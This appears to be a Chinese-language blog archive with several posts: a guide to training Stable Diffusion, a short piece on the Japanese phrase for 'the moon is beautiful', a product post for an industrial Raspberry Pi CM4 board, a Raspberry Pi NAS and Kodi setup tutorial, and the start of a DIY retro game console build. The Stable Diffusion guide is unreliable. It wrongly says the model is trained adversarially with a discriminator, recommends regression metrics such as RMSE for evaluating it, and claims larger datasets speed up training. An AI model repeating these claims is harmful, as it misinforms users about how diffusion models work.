徹底改變了數據分析、預測建模和決策領域。其中一個發展就是穩定擴散模型,它是一種基於歷史數據生成圖像和預測結果的強大工具。 在這份內容廣泛的指南中,我們將深入研究穩定擴散模型的訓練過程,為您提供掌握這一迷人技術必不可少的步驟、最佳實踐和策略。 穩定擴散模型簡介 穩定擴散模型包含一種機器學習算法類型,該算法使用歷史數據來預測特定結果或事件的概率。這些模型採用一種稱為擴散過程的技術,其中包括向輸入圖像添加噪聲,然後隨著時間的推移逐漸減少噪聲以生成最終圖像。此過程產生的圖像比傳統深度學習 (DL) 模型更詳細、更真實。 穩定擴散模型因其處理複雜和抽象文本描述的能力而特別引人注目,這要歸功於一種稱為穩定訓練的新方法。該技術使模型能夠生成與文本輸入一致的高質量圖像,使其比以前的文本到圖像模型有了顯著改進。 **穩定擴散模型的數據準備** 在訓練穩定擴散模型之前,準備用於訓練模型的數據至關重要。該過程涉及以下步驟: **Data collection 數據採集** 收集與您期望的結果相關的準確且最新的數據。確保數據準確地代表您希望模型解決的問題。 **Data cleaning 數據清洗** 消除數據集中的任何異常值、缺失數據或不一致之處,以最大限度地提高模型的準確性。這可能涉及填充缺失值、糾正錯誤或將數據轉換為更可用的格式。 **Data preprocessing 數據預處理** 應用各種技術來提高模型的準確性和性能。這可能包括歸一化、標準化或降維。 模型設計和算法選擇 準備好數據後,下一步就是設計穩定擴散模型。這涉及為模型選擇適當的算法、架構和參數。穩定擴散模型中使用的一些流行算法包括: 深度卷積神經網絡(DCNN) 生成對抗網絡(GAN) 變分自動編碼器(VAE) 選擇算法和架構時,請考慮問題的複雜性、數據集的大小以及所需的準確度等因素。 訓練穩定擴散模型 要訓​​練您自己的穩定擴散模型,您可以使用各種工具和平台,例如 Google Colab、Jupyter Notebooks 或 TensorFlow。這些平台提供了用於運行實驗、管理模型和生成圖像的交互式環境。 遵循本節中的步驟將使您能夠創建適合您的需求和偏好的擴散模型,從而產生富有洞察力的預測。以下是訓練穩定擴散模型的步驟: 將準備好的數據集分為訓練集和驗證集。使用訓練集來訓練模型,使用驗證集來評估其性能。 從各種可用選項中選擇合適的穩定擴散模型。 使用 PyTorch 或 TensorFlow 等軟件訓練模型。請注意,根據數據集大小和模型複雜性,訓練持續時間可以從幾個小時到幾天不等。 訓練後,使用驗證集評估模型的性能。 一旦對模型的性能感到滿意,就可以通過向模型提供隨機噪聲向量來生成圖像。 在我們詳細指南的幫助下輕鬆安裝穩定擴散。 模型評估和驗證 訓練穩定擴散模型後,必須評估其性能並驗證其準確性。這可以通過使用各種指標將模型的預測與實際結果進行比較來完成,例如: 均方誤差 (MSE)。 均方根誤差 (RMSE)。 平均絕對誤差 (MAE)。 R 平方(決定係數)。 此外,通過確保模型隨著時間的推移產生一致的結果來評估模型的穩定性也至關重要。 ## 穩定擴散模型最佳實踐 為了確保穩定擴散模型的成功訓練,請考慮以下最佳實踐: * 使用準確、最新且具有代表性的數據進行培訓。 * 使用不同的數據集測試模型以評估其性能。 * 在評估過程中評估模型的準確性和穩定性。 * 為模型選擇適當的算法、架構和參數。 * 通過應用數據預處理技術來提高模型的準確性。 * 並通過持續監控變更或更新來確保其持續性能。 ## 擴散模型應用 擴散模型在各個行業都有廣泛的應用,包括金融、醫療保健、營銷和遊戲。穩定擴散模型的一些常見用途是: * 電子商務:網站可以使用穩定的擴散模型根據文字描述生成產品圖像,從而無需真實照片即可展示產品。 * 廣告:廣告公司可以利用穩定的擴散模型為其廣告活動生成獨特且具有視覺吸引力的視覺效果。 * 遊戲:遊戲開發者可以採用穩定的擴散模型,根據文本描述生成遊戲資產,例如角色和環境。 ## 訓練穩定擴散需要多長時間? 訓練穩定擴散所需的時間取決於許多因素。因此包括數據集的大小、您使用的硬件以及輸出圖像的質量。 如果您使用較小的數據集或功能較弱的硬件,則訓練穩定擴散將需要更長的時間。例如,一位用戶報告說,他們花了大約 2 週的時間在單個 V100 GPU 上訓練穩定擴散。 如果您不確定訓練穩定擴散需要多長時間,您可以先嘗試使用較小的數據集或功能較弱的硬件。您還可以嘗試使用預先訓練的穩定擴散模型,這將為您節省一些時間。 以下是一些加快穩定擴散訓練的技巧: * 使用更大的數據集:更大的數據集將為穩定擴散提供更多可供學習的信息,這將加快訓練過程。 * 使用更強大的GPU:更強大的GPU將能夠更快地處理數據,這也將加快訓練過程。 * 使用預先訓練的模型:預先訓練的模型已經具有一些如何生成圖像的知識,這將加快訓練過程。 常見問題 (FAQ) ### 問:如何製作穩定擴散模型? 答:製作穩定擴散模型需要大量的技術知識和資源。這不是一件容易或快速就能完成的事情。以下是製作穩定擴散模型的基本步驟: * 收集大量圖像數據集:該數據集應盡可能多樣化,以確保模型可以生成各種圖像。 * 預處理數據集:這涉及將圖像轉換為模型可以理解的格式。 * 訓練模型:這是最耗時的步驟。該模型需要在數據集上進行長時間的訓練,才能學習如何生成圖像。 * 測試模型:模型訓練完成後,需要在新的圖像數據集上進行測試。這將有助於確保模型生成高質量的圖像。 ### 問:訓練穩定擴散模型需要多長時間? 答:訓練穩定擴散模型所需的時間取決於多種因素,包括數據集的大小、模型的複雜性和可用的計算資源。 一般來說,在大型數據集上訓練穩定擴散模型可能需要幾天甚至幾週的時間。例如,在 ImageNet 數據集上訓練穩定擴散模型在單個 GPU 上可能需要長達 10 天的時間。 如果您使用較小的數據集或不太複雜的模型,訓練時間會更短。然而,值得注意的是,即使是小模型也可能需要幾個小時來訓練。 ### 問:如何通過穩定擴散獲得更好的結果? 答:您可以採取一些措施來獲得更好的穩定擴散效果: * 使用更大的數據集:模型需要學習的數據越多,結果就越好。 * 使用更複雜的模型:更複雜的模型將能夠學習數據中更複雜的模式,從而獲得更好的結果。 * 訓練模型的時間越長:模型訓練的時間越長,結果就越好。 * 使用更好的優化器:優化器是一種幫助模型學習的數學算法。使用更好的優化器可以幫助模型更快收斂並獲得更好的結果。 * 使用更複雜的損失函數:損失函數是一個數學方程,用於衡量模型的性能。使用更複雜的損失函數可以幫助模型更有效地學習。 * 使用正則化技術:正則化是一種有助於防止模型過度擬合數據的技術。當模型學習數據中的噪聲而不是底層模式時,就會發生過度擬合。使用正則化技術有助於提高模型的泛化性能。 ### 問:如何訓練穩定擴散權重? 用戶可以使用多種方法訓練穩定擴散權重,包括: * 監督學習:在監督學習中,模型在已標記有所需輸出的圖像數據集上進行訓練。例如,該模型可以使用貓和狗的圖像數據集,每個圖像標記為“貓”或“狗”。 * 無監督學習:在無監督學習中,模型在沒有任何標籤的圖像數據集上進行訓練。該模型學習在數據中查找模式,而無需明確告知要查找什麼。 * 半監督學習:在半監督學習中,模型在已部分標記的圖像數據集上進行訓練。當沒有足夠的標記數據可用時,這可能是提高模型性能的有用方法。 訓練穩定擴散權重的最佳方法取決於具體應用。例如,如果你想訓練一個模型來生成貓和狗的圖像,監督學習將是一個不錯的選擇。如果你想訓練一個模型來生成任何物體的圖像,無監督學習將是更好的選擇。 ### 問:穩定擴散可以訓練嗎? 答:是的,穩定擴散是可以訓練的。它是一種擴散模型,是一類可以訓練生成圖像的生成模型。穩定擴散是一種特殊類型的擴散模型,其設計比其他擴散模型更穩定且更易於訓練。 穩定擴散模型使用稱為對抗訓練的技術進行訓練。在對抗性訓練中,兩個模型相互訓練。一種模型是生成器,它負責生成圖像。另一個模型是鑑別器,負責區分真實圖像和生成圖像。 生成器可以生成盡可能真實的圖像。鑑別器可以區分真實圖像和生成圖像。作為生成器和鑑別器,它們在各自的任務上變得更好。最終,生成器變得非常擅長生成逼真的圖像,以至於鑑別器無法再區分它們。 ### 問:訓練穩定擴散需要多少張照片? 答:訓練穩定擴散所需的照片數量取決於要訓練的模型的大小和復雜性。較大的模型比較小的模型需要更多的照片。 一般來說,您至少需要幾千張照片來訓練穩定擴散模型。但是,如果使用稱為數據增強的技術,則可以使用更少的照片來訓練模型。數據增強是一種通過從現有圖像創建新圖像來人為地增加數據集大小的技術。 ## 結論 訓練穩定的擴散模型似乎具有挑戰性。然而,理解這個過程並使用正確的方法可以將其變成結果預測的強大工具。 本綜合指南的步驟和最佳實踐可以幫助您掌握這些模型的訓練並充分發揮其潛力。 無論您是業餘愛好者還是專業人士,深入研究穩定擴散模型的令人興奮的世界都可以讓您創造出令人驚嘆的視覺效果並獲得寶貴的見解。 --- ## 今夜は月が綺麗ですね Date: 2023-01-19 URL: https://blog.wo.ai/archives/3442 Categories: Life, Poem & Reading [![](https://web.archive.org/web/2/https://blog.wo.ai/wp-content/uploads/2023/02/v2-b883a9c9323c7ef198c00b6f25f65f7e_1440w.jpeg)](https://web.archive.org/web/2/https://blog.wo.ai/wp-content/uploads/2023/02/v2-b883a9c9323c7ef198c00b6f25f65f7e_1440w.jpeg) 月が綺麗な夜に、突然意中の人に「今夜は月が綺麗ですね」と言われたら、どう感じますか。ロマンチックな人や、なんかキザったらしい人だと感じる人も多いでしょう。中には「今夜は月が綺麗ですね」の意味を知っていて、洒落たことを言い返したいと思う人もいるでしょう。 この「今夜は月が綺麗ですね」にはどんな意味を持っているのか、これを意味することを知れば、日本語の奥ゆかしさに歯がゆさを感じるでしょう。 夏目漱石说在日语里要表达我爱你,应说成 今夜月色真好。 那为什么月色又会成为我爱你的表达呢? 在日语中月读作つき(tsuki),恰好和喜欢的日语好き(すき,suki)读音相近,日本人把谐音哏玩得很溜啊。东方人含蓄蕴藉,隐忍克制,大多不会像西方人那样热烈奔放,直抒胸臆。从他们口中断然不会轻易吐露那三个字,他们只会借赋比兴来表达爱意。他们会说,“思君如满月,夜夜减清辉。”他们会说,“此时相望不相闻,愿逐月华流照君。”他们会说,“愿我如星君如月,夜夜流光相皎洁。”他们会说,“月が绮丽ですね。” --- ## ED-CM4NANO:基于树莓派 CM4 的工业计算机 Date: 2021-10-25 URL: https://blog.wo.ai/archives/3411 Categories: Uncategorized CM4 NANO 是 EDATEC 为工业应用设计的一款嵌入式计算机,提供与标准树莓派4 相同的功能。其设计兼顾了高性能和低成本的存储方案,能同时支持 eMMC 和 microSD 卡存储。更宽的工作温度、更好的无线性能也使其比标准的树莓派4 更适合用于工业领域。 ED-CM4NANO 充分利用 CM4 的结构灵活性,解决 CPU、无线模块、PMU 的散热问题。 BT 天线提高了无线通信的可靠性,提供了灵活的扩展能力。 系统可根据不同应用配置 1GB/2GB/4GB/8GB RAM 和 8GB/16GB/32GB eMMC,2.4/5.8G双频WiFi和蓝牙(可选),支持外接天线。 对于需要大数据存储容量的应用场景,用户可以使用 eMMC 安装操作系统并存储应用数据,同时用户可以使用 SD 卡存储大用户数据,相比内置 eMMC 内存, SD 卡可以提供更大的容量,其成本更有效。 ED-CM4NANO 提供报警蜂鸣器,电池供电的实时时钟,支持具有POE功能的千兆网口,兼容官方Raspberry Pi PoE HAT。 ED-CM4NANO 的 CSI 和 DSI 接口完全兼容 Raspberry Pi4 Model B。CSI 支持 Raspberry Pi 官方 8M 和 12M Pixel HQ 摄像头,DSI 接口支持 Raspberry Pi 官方7寸触摸屏。标准 HDMI 接口可输出 4K 高清视频。 ED-CM4NANO 提供 2 路 USB3.0 和 1 路 USB2.0 接口,USB2.0 接口可用于更新系统镜像。 ED-CM4NANO 提供非常强大的扩展能力,支持标准的 Raspberry Pi 40 针扩展接口,用户可以通过板载 USB3.0 Type C 接口机械轻松扩展高速设备。 系统支持 +12V~18VDC 电源输入,40PIN 插座提供 5V@2A 和 3.3V@1.5A 输出电源,支持大功率扩展模块。 ED-CM4NANO PCB 的尺寸为 95*58mm,比树莓派4B 略大。出色的散热性能让整个系统能在高温环境下可靠工作。根据我们在实验室的实际测试,ED-CM4NANO 可以在 -25~60°C 的环境温度下可靠工作。 ED-CM4NANO 机箱底部预留了四个M2.5螺丝孔,方便用户将 ED-CM4NANO 安装在其他设备上。 ED-CM4NANO 还支持 DIN 导轨安装。 特性 处理能力 Broadcom BCM2711 4 核 Cortex A72 1.5GHz (ARM v8) 64 位 CPU 支持 H.265(HEVC)(最高 4Kp60 解码),H.264(最高 1080p60 解码,1080p30 编码) OpenGL ES 3.0 图形支持 内存 1GB/2GB/4GB/8GB LPDDR4-3200 SDRAM 可选 8GB/16GB/32GB eMMC 可选 摄像头和显示器 1 个 CSI 接口,支持树莓派官方 5M & 8M 像素摄像头模组 1 个 HDMI 接口 1 个 DSI 接口,支持树莓派官方显示 有线接口 10/100M/1000 以太网,支持 PoE 供电(需要官方 PoE HAT) 2 个 USB3.0(外置) 1 个 USB3.0(内置) 1 个 USB2.0 无线通信 2.4G/5.8G WiFi 兼容 IEEE 802.11 b/g/n/ac 标准 蓝牙 5.0 BLE WiFi/BLE 外置天线和 PCB 天线可选 存储 microSD 卡座(用于扩展用户数据存储) 可扩展接口 Raspberry Pi 标准 40 针连接器 Raspberry Pi 标准 4 针 POE 连接器 其他 带备用电池的 RTC 红色 LED 电源指示灯 绿色 LED 状态指示 系统重置按钮 蜂鸣器 电源 12~18V DC 电压范围输入 5.5/2.5mm DC Jack 或 Phoenix 端子连接器可选 产品型号的命名规则如图。 FAQ Q: 我可以从 CM4 NANO 的 SD 卡启动系统吗? A: 不能。CM4 NANO 是为工业应用而设计的,为了保证系统的可靠性,CM4 NANO 必须使用带有 eMMC 内存的 CM4。系统只能从 eMMC 启动,SD 卡用于数据存储。 Q:CM4 NANO 上 40PIN 引脚有没有被占用? A:CM4 NANO 的以下功能占用了 40PIN 引脚: 蜂鸣器占用 GPIO6,如果不需要,可以去掉电阻 R39,将 GPIO6 与蜂鸣器电路断开。 SD 卡模块占用 GPIO22、23、24、25、26、27。如果您不需要使用它,请不要插入 SD 卡。 购买 复制下方链接,在浏览器中打开即可下单: http://link.nxez.com/buy/ed-cm4nano 介绍视频 --- ## NAS 私有云和 KODI 软硬集成的套件 Date: 2021-10-25 URL: https://blog.wo.ai/archives/3427 Categories: Uncategorized 本文作者:硬件老郭 树莓派4B搭载了博通最新的BCM2711处理器,它采用了4枚性能更为强劲的ARM A72核心。相比上一代树莓派3B+,4B的性能有着2~4倍的提升,处理任务要更为流畅。而在内存上,树莓派4B拥有1GB/2GB/4GB三种规格可选,相比以往的1GB,大大拓展了多任务处理的可能。 与上一代树莓派的性能对比,树莓派4B不只是频率的提升而已,重大的提升还有,采用了USB3.0接口,并且留够了充足的带宽,不像树莓派3是共享的总线带宽,性能受到制约,何况还是USB2.0。还有就是支持H.265 4K硬件解码。 提升如此巨大,我们能怎么才能发挥出它的性能呢? 作为一个“深度”树莓派爱好者,看到树莓派4B性能不再是挤牙膏,而是性能爆炸了,简直是出乎我的意料。要知道,树莓派官方树莓派基金会推出树莓派是为了 慈善目的 的产品,希望将树莓派推广给全世界的青少年电脑爱好者,用于培养计算机程序设计的兴趣和能力,所以价格是非常重要的因素。这也是为什么树莓派不是像手机或者平板那样采用性能强大CPU的原因,但也不排除以后的思路会转变。那么树莓派4B性能大幅提升,价格是不是更贵了?并没有,价格还是和树莓派3发售的价格一致,只不过根据内存大小分为了好几个版本。 在以前实现不了或者说使用效果体验不好的玩法终于可以实现了。比如:AI图像处理、4K电影播放、NAS网络存储、私有云等等。AI图形处理这里就不是我们关心的重点了,我们接下来主要来谈后面几个。 Kodi 媒体中心是一个屡获殊荣的自由和开源的跨平台媒体播放器和用于HTPC(Home theater PC,家庭影院PC)的数字媒体娱乐中心软件,可以运行在Windows、Android、iOS、Mac、Linux、Raspberry Pi系统。它是一个优秀的自由和开源的(GPL)媒体中心软件。最初为Xbox而开发,叫XBMC。因为全世界开发者的参与,这个软件已经拥有远远超过以往的功能,这已经不能用‘一个简单播放器’来包含所有的一切了。因为这个原因,XBMC.14后更名为Kodi。 在树莓派上,我们用LibreELEC_RPi4。它是一个KODI的树莓派定制版本,做了很多优化,去掉了一些不需要的功能。 这里,经过实际测试,CPU占有率20%左右(4核平均值,以大家习惯的win系统占有率计算方式表达,满载是100%)。 内存占用在600M左右。可以打开KODI的资源检测查看。 简单的说,我们可以用KODI 在电视上播放4K电影、电视剧、看电视直播、刷B站视频、听无损音乐,支持安卓苹果手机投屏,手机的照片和视频可以在电视机上播放,与家人分享。 看到这里,你心动了吗? 可能有人会说,我有电视机顶盒,也能实现你说的这些功能。弄这些有必要吗? 是的,没错,但是其实是有很大差别的,虽然有部分是交叉的。听我慢慢道来。。。 电视机顶盒目前的现状 电视机顶盒现在配置都比较高了,或者有些是智能电视机,内部其实就是一个电视机顶盒。 电视机顶盒用的是安卓系统,而我们这个树莓派KODI用的是linux系统。 但是目前的机顶盒生态其实很不友好。只能安装自带应用市场的app,想通过U盘安装app人为设置了很多障碍。 机顶盒开始买来的时候,运行都很流畅,但是只要用了2、3年,就发现越来越卡,不管配置有多高,好像都这样,用的还是那些厂家自带的软件。但就是会卡,这好像是安卓系统避免不了的一样,也有人说这是厂家的计划报废。。。 机顶盒的视频都是会员制了,免费的电影很少,但是很多正在播的电视剧电影等又是独家的,意味着你买的其他视频app的会员可能没有你想看的电视剧、电影。而且就算你买了所有的会员,还有会员专属的广告等着你呢。就算你买了会员,能看的4K电影也是很有限的,少得可怜。在线看4K电影还很考验网速,看的过程中卡顿就很影响观看感受了。 所以很多时候,机顶盒只是成为了一个手机投屏的工具了,都是通过手机来播放投屏观看的。 关于看电视的问题,其实现在很少看电视了,但是家里面老一辈的父母是要看电视的,自己也会偶尔看下新闻、体育什么的。但是机顶盒看电视直播是有版权的,不是你想看就能看得,好像安装了电信宽带电信机顶盒的用户可以免费看。而且频道也就是各个地方台,中央台。 还有,机顶盒它主要是在线播放,目前都是购买了影视的版权的,这也就是说,对于一些资深影迷来说,很多片子没有引进国内是看不到,或者是删减了的。像是很多美剧韩剧等等。 总的来说,现在的机顶盒很畸形,本来它是可以作为一个大平板,和手机一样的,但是你们看到了,这其中有太多的人为限制。目前来说,机顶盒显得很鸡肋,只需要有一个手机投屏就可以了。 KODI 系统的优势和特点 KODI系统虽然使用的Linux内核,但是它是以插件形式安装软件的,并不是linux通用的软件安装方式,它属于高度定制的系统。而由于KODI属于国外开源的软件系统,它的开发都是依据国外的网络使用环境来的,比如:youtube、推特、奈飞等都是正常方式国内用户用不了的。国内用户能使用的我们已经验证并且集成到系统里面了。 KODI 系统永远也不会卡顿。因为是采用的Linux系统,稳定性是很高的,绝大部分服务器都是使用的Linux系统。而且树莓派4B的性能经过我们实测,运行KODI绰绰有余,是跑不满CPU的。而KODI的插件是很纯净的,没有乱七八糟的后台,广告,获取用户权限搜集用户信息什么的,用再久也不会卡顿。 KODI同样支持手机投屏,而且我感觉网速快得多,对应的清晰度也高一些,这点还有待验证。 KODI看电视直播是使用PVR电视直播插件来实现的,支持m3u电视节目单,导入到插件中,重启后就可以看电视了。m3u我们知道是一种流媒体协议,是一种数据广播的形式,点对多传输的。这个电视节目网上搜一下很多的,电视台可达2000多个!不局限于什么地方台中央台,还有国内收费的电视节目,国外各种卫星电视节目,都是免费观看的。 用KODI可以把存储的电影电视剧导入,然后刮削出海报、剧情介绍等信息,形成自己的影音库。这些影音都是存在本地硬盘的,平时通过我们的树莓派系统里面的Aria2 ,qBittorrent 下载软件下载到硬盘,而机顶盒是属于在线播放的。 KODI还能结合NAS系统私有云,把手机备份的相片和视频,在电视上播放与家人一同观看。 KODI还可以安装B站插件,可以观看B站的大量视频,喜欢二次元的不要错过。 KODI可以使用红外线遥控器,或者鼠标键盘。 NAS 网络存储私有云 这里很多同学可能会说了,用树莓派来做NAS性能很拉跨很差劲吧?我买个二手的矿机来做NAS不香吗?价格还便宜不少。 这里我多说两句,普及下矿机的事。在前些年,出了很多区块链的矿机,因为还可以赚点小钱,十分火爆。像是什么联想、迅雷也出过,蜗牛星际、X家云、X客云等等,后来因为政策,这些产品都踩了红线,一时之间全部退市。这样二手市场流出了大量的矿机。 因为是二手商品,厂家都关门了,肯定是没有技术支持的没有售后的,只能买来自己折腾。肯定是需要你要有这方面技术能力和时间成本的。 这些二手矿机年代久远了,由于是矿机,长时间高负荷工作,还能用多久全靠运气,就是花钱碰个运气。 由于这些都是好多年前的硬件方案了。性能只能说是很勉强。 由于带有USB3.0,数据传输相对于USB2.0提升了10倍!300M以上的速度我相信对于绝大多数人来说够用的很了。以前用USB2.0来做NAS系统的时代一去不复返了。USB2.0接硬盘做NAS系统传输速度只有10M,十分鸡肋,只能说能用。现在终于不再受USB2.0的速度限制了。盼了好久,终于等到树莓派USB3.0的到来。 配合上真千兆网口,大大提升了使用体验。 树莓派的千兆网络没问题, 几乎可以跑满: 测试用一台工作站与树莓派直连,931M/s 接近1000M. 这意味着跑个NAS, 瓶颈不再是网络了。当然,你要说你家里是万兆宽带,千兆拖了后腿,也没办法。这个也毕竟是少数,远远还没有到普及的程度。树莓派4B的价格平易近人,还能要求什么呢?关键是看能不能满足我们想要的功能。 整个存储都是放在硬盘上的,而硬盘是通过USB3.0连接到树莓派USB3.0口的。所以USB3.0口对于硬盘的读写速度是非常重要的。 私有云存储 采用在树莓派官方32位系统基础上来搭建。应用软件选择owncloud开源私有云系统。在这里,没有选择专门的NAS软件,如:openmediavault 。因为这类系统对于新手小白来说太复杂,而且使用过程中有一些问题。而owncloud使用起来,就像是使用普通的百度网盘一样,容易上手。像是samba共享服务协议,单独安装即可。 下面我们开始讲解如何快速搭建系统 分为三步: 1、准备硬件。先看看自己手边有没有,没有的话我们有套件的。 2、烧录免费镜像、按要求格式化分区硬盘同时进行。 3、上电使用。 这其实是组成一个完整的主机系统。 硬件准备 1、已经安装了普通散热片的树莓派4B 2G/4G/8G 主板一块。 2、16G TF高速存储卡一张。16G够用了,太大的话,备份还原系统会花更多的时间。 3、USB3.0移动硬盘一个。 4、树莓派4B电源,至少5V/3A。 5、hdmi小口转大口转接线。 6、树莓派4B散热风扇。 树莓派4B主机套件方案介绍 这些东西比较零散,接了线之后,也是比较凌乱的。如果你身边有这些东西可以先用起来试试。 也可以用我们提供的软硬件一体整合解决方案。免费提供已经配置和优化好的镜像文件和相关软件,烧录后即可使用。获取方式见文末。 有详细的说明文档和视频。这些都是免费给大家使用的。有官方教程有指导,不怕你不会。 这个方案整合了所有硬件在一个铝合金外壳内,十分的紧凑。内部可以安装2块2.5寸硬盘。软件上把已经优化配置好的系统和软件做成镜像文件,烧录到TF卡上就可以立即使用了。 最终的一个安装完成效果: 所有接口走线都在后面板上。 烧录镜像文件 TF卡内如果有重要资料的话,请先将TF卡资料备份。待会TF卡将会被格式化,所有数据将会丢失! 运行格式化软件,插入TF卡,格式化提示不用理会。 插入TF卡或者硬盘的时候,遇到任何提示需要格式化操作的,都不用理会,格式化会丢失掉所有数据,除非你需要格式化。这是因为TF卡中有linux分区,WIN系统电脑是无法识别的,所以弹出格式化提示。 我们的系统在WINDOWS系统中会被识别成 RECOVE RY、boot、System 三个盘符。 选择一个格式化就行。如果你还有其他的USB设备,一定要看清楚盘符,别格式化错了。 选择Overwrite format,然后点击Format开始格式化。 选择你要烧录的镜像文件和TF卡的盘符,点击Write开始写入,等待烧录完成。 3、至少准备一块2.5寸SATA硬盘(机械和固态都可以)。硬盘需要按要求分区和命名,建立文件夹。 文件路径说明: 私有云admin账号数据存放位置:NAS1_yun :\owncloud\data\admin\files 也就是手机里照片视频等备份的位置,其他账号依此类推。 下载位置:NAS1_xiazai :\xiazai Aria2、QB下载软件的下载路径,下载完之后可以移动到其他地方。 KODI电视剧存放位置:NAS1_xiazai :\电视剧 KODI电影存放位置:NAS1_xiazai :\电影 KODI视频存放位置:NAS1_xiazai :\视频 KODI音乐存放位置:NAS1_xiazai :\音乐 KODI电视直播m3u文件位置:NAS1_xiazai :\电视直播源 微力同步同步文件夹:NAS1_xiazai :\verysync 硬盘分区方法(以一块500G硬盘举例): 硬盘采用NTFS格式,逻辑分区。 不管是多少块硬盘,要求有至少2个分区就可以了。分区大小根据自己需要和硬盘大小来分配。 一个分区命名为:NAS1_xiazai,大小建议至少200G。这个是用来存放下载文件的,包括电影、电视剧、视频、音乐,是KODI的播放盘。 另一个分区命名为:NAS1_yun,大小建议至少200G。 这个是owncloud 私有云工作盘符。手机的相片视频自动备份都是在这个盘。 NAS1_yun分区格式化完成后,需要把官方发布的owncloud文件解压后,放在根目录! 免费提供已经配置和优化好的镜像文件和相关软件,烧录后即可使用。见文末。 有详细的说明文档和视频。 这些都是免费给大家使用的。有官方教程有指导,不怕你不会。 到这里,树莓派NAS和KODI影音播放系统搭建就已经介绍完成了。大家先利用现有的东西,烧录镜像文件就可以使用了。免去了自己折腾,中间有很多的问题要出处理,不是每个人都能顺利解决的。如果觉得好用的话,可以考虑用我们的软硬件集成方案。整体性会好很多。把树莓派可以当成一个真正的主机来使用,当然你也可以自己安装需要的软件。 我们提供已经配置、优化好的 应用 、系统整合镜像给大家 免费 使用,仅限个人使用,严禁用于商业用途。 所需的镜像和相关软件、说明文档打包下载地址: 链接:https://pan.baidu.com/s/1hi-_vfgGtK3psH-gaELSMg 提取码:6a9q 如需文中所用到的组件,可以在这里选购: https://item.taobao.com/item.htm?id=658823159249 希望大家都能愉快的使用树莓派! 作者:硬件老郭 链接:https://www.jianshu.com/p/9a03c99644c5 链接:https://www.jianshu.com/p/798ed10f812c 链接:https://www.jianshu.com/p/95d71b072eae --- ## PALPi 复古游戏主机,基于树莓派 Zero Date: 2021-10-25 URL: https://blog.wo.ai/archives/3419 Categories: Uncategorized MAKER: Arnov Sharma/译:趣无尽 相逢已是初识(转载请注明出处) 尽管基于树莓派开发的复古游戏机有不少作品,也很容易买到。我们之前也介绍过「树莓派CM3 掌上游戏机DIY全记录」。 但是还是有必要推荐一下下面这款,基于树莓派 Zero 的复古游戏机。因为它为你展示了两个版本,其中包含了面包板搭建的版本,更加便于理解游戏机搭建的原理,并大幅降低了自己 DIY 的门槛。所用到的材料也很容易获得,这个项目主要的特性如下: 1、使用 PAL 制式显示屏。 2、由 Raspberry Pi Zero 驱动,采用 RecalBox OS 操作系统,该系统还附带一些预装游戏。 3、由 IP5306 IC 供电,该 IC 是用于移动电源电路的 5V 2A 恒定升压 IC,非常适合为 Raspberry Pi Zero 供电。 4、项目的前半部分为面包板版本,后半部分为 PCB 版本。 材料清单 Raspberry Pi Zero × 1 16 GB 存储卡(8 GB 也可) × 1 TV 屏幕 × 1 HDMI 转 micro HDMI 适配器 × 1 5V 2A 充电器/电源可稳定输出 2A × 1 键盘 × 1 USB 转 microUSB 适配器 × 1 RecalBox OS 映像文件/ Raspberry Pi Image Flasher × 1 普通按键 × 1 定制 PCB 板 × 1 IP5306 IC × 1 10uf 0805 电容 × 1 USB 端口 × 1 microUSB 端口 × 1 带有 CON2 连接器线的锂离子电池 × 1 CON2 连接器 × 1 10k 0603 电阻 × 1 2R 0805 电阻 × 1 垂直按钮 × 1 一、初步构想 设备包括 PCB 板和 3D 打印外壳,两者由螺钉连接起来。正面是显示器和按钮,使用 4.3 英寸的显示屏,尺寸大约是 135mm x 140mm,比普通的 Gameboy 屏幕大。反面是 Raspberry Pi Zero 同升压转换电路和锂离子电池。 二、配置 RecalBox 系统 下载 Raspberry Pi 映像文件。 Select the right OS for your device 这里选择 RecalBox Select your system 这里选择 Rpi0 Raspberry Pi imager will do your work of downloading and installing the RecalBox on the memory card.(完成下载与安装) 安装完成后,将树莓派接上电视屏幕和键盘。 启动设备,RecalBox 就可以正常工作了。 三、GPIO 接线原理图 注:原理图中将按键一端连到 GPIO 口,一端接地。 原理图在本项目文件库中可以下载: https://make.quwj.com/project/385 四、显示器与 GPIO 控制 显示器种类有很多,既有 HDMI 端口,也有带状电缆端口,在这里从成本考虑选用 PAL 制式的车载显示器(带 PAL 端口)。因为车载显示器工作电压为 12V,而这里需要 5V 或 3.3V 的显示器,所以需要对显示器内部降压电路进行改装,这里移除了 12V 转 3.3V 的降压芯片,并在 Vout 端的电容上增加 VCC 和 GND ,为显示器提供 5V 电压。 为使 PAL 端口运行显示器,需要在配置文件中编辑一些内容。用键盘在网络设置中输入 SSID 和密码。(将其与 winSCP 连接) 需要编辑以下内容: SDTV 输出的设置 HDMI 显示器连接到的 Raspberry Pi 上就会输出其视频信号,但在 PAL 端口下,需要设置 SDTV 的输出。 进入 boot > config.txt 更改默认设置,从 sdtv_mode 中删除 # 并添加 sdtv_aspect = 1,此外,在 HDMI lines 前加 #。(如图,检查 Boot/config.txt 并复制其中的内容) GPIO Control GPIO 口与按键的设置。 进入 recalbox > share > system > recalbox.conf 通过以下两步启用 GPIO 外接按键 设置 controller.gpio.enabled=1(之前是 0)并将 controller.gpio.args.map=1,2 更改为 controller.gpio.args.map=1(2 是第二个玩家) 更改完默认设置(如图,检查 D2 GPIO Controlers),然后重启,RecalPi 便可适用于 PAL 端口和自定义按键。 五、完善面包板版本 这里用了定制的 GPIO 适配器,接线有所变化,参考图片将按键一端连到 GPIO 口,一端接地,完成后可以通过接 TV 测试按键是否正常工作,没问题后将 TV 更换成车载显示器,车载显示器的 VCC 接到 5V,地线连到一起,然后用 5V 2A 的电源供电,车载显示器显示画面则成功(注意之前的 SDTV 设置)。 六、设计电路板 根据面包板搭建的电路绘制 PCB 文件,包括 13 个按键与 Rpi Zero 相连,加 IP5306 IC 驱动的电源电路。其中 IP5306 是一款适用于 3.7 V 锂离子电池的电源管理芯片,可以调节输出电压的大小,这里将其提升到 5V 2A 适用于 Raspberry Pi 和车载显示器。 设计流程如下: 首先在 Fusion360 中设计整体结构,然后利用 Fusion360 的 PCB Layout 在 My PCB Cad 软件中对 PCB Outline 进行建模。(这里在经典的 Gameboy 布局中放置了额外的热键按钮) 七、电路板打样 将生产文件 Gerber 给到 PCB 制板厂商打样。 Gerber 文件在本项目文件库中可以下载: https://make.quwj.com/project/385 八、焊接 PCB 板 1.SMD 元件焊接 将焊膏涂到待焊焊盘上,摆放好元件后,将 PCB 板放到 SMD 加热板上进行回流焊,加热板从底部向上加热 PCB 板至焊膏熔化,焊膏熔化时从加热板上取下 PCB 板冷却 3-4 